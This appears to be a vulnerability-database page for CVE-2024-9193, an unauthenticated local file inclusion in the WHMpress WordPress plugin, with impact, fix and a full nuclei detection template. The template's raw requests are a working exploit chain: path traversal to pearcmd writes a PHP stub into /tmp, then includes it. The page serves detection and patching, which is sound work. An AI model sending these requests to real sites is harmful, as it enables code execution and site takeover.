HexBrain

Browse / CVEs / CVE-2024-9193

CVE-2024-9193· CWE-98

WHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update

criticalseverity
9.8CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

Impact

Unauthenticated attackers can leverage local file inclusion to execute arbitrary PHP code and manipulate WordPress options, enabling them to set the default registration role to administrator and gain complete site control without authentication.

Fix

Update WHMpress plugin to a version later than 6.3-revision-0 that addresses the local file inclusion vulnerability in the whmpress_domain_search_ajax_extended_results function and implements proper input validation.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?+config-create+/&/<?=base64_decode($_GET[0])?>+/tmp/{{randstr}}.php ; POST /wp-admin/admin-ajax.php?0={{marker}}
Positive when: contains_all(body_1,"whmpress_action","CHANNEL PEAR.PHP.NET") and contains_all(body_2, "{{randomstr}}", "PEAR_Config")

Run it with nuclei: nuclei -id CVE-2024-9193 -u <target>

The full check
id: CVE-2024-9193

info:
  name: WHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options Update
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The WHMpress - WHMCS WordPress Integration Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 6.3-revision-0 via the whmpress_domain_search_ajax_extended_results() function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. Utilizing the /admin/services.php file, this can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
  impact: |
    Unauthenticated attackers can leverage local file inclusion to execute arbitrary PHP code and manipulate WordPress options, enabling them to set the default registration role to administrator and gain complete site control without authentication.
  remediation: |
    Update WHMpress plugin to a version later than 6.3-revision-0 that addresses the local file inclusion vulnerability in the whmpress_domain_search_ajax_extended_results function and implements proper input validation.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/academist-membership/academist-membership-116-authentication-bypass-via-account-takeover
    - https://whmpress.com/docs/change-log/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5f3b0e75-d2f0-48b7-ba33-75c4e998030e?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9193
    cwe-id: CWE-98
    epss-score: 0.03292
    epss-percentile: 0.88596
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,whmpress,whmcs,wordpress,wp,intrusive,vkev,vuln

variables:
  randomstr: "{{randstr_1}}"
  marker: "{{base64(randomstr)}}"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?+config-create+/&/<?=base64_decode($_GET[0])?>+/tmp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=whmpress_action&do=whmpress_domain_search_ajax_extended_results&page_size=1&is_title=no&params[style]=../../../../../../../../../../../usr/local/lib/php/pearcmd&

      - |
        POST /wp-admin/admin-ajax.php?0={{marker}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=whmpress_action&do=whmpress_domain_search_ajax_extended_results&page_size=1&is_title=no&params[style]=../../../../../../../../../../../tmp/{{randstr}}&

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_1,"whmpress_action","CHANNEL PEAR.PHP.NET")'
          - 'contains_all(body_2, "{{randomstr}}", "PEAR_Config")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from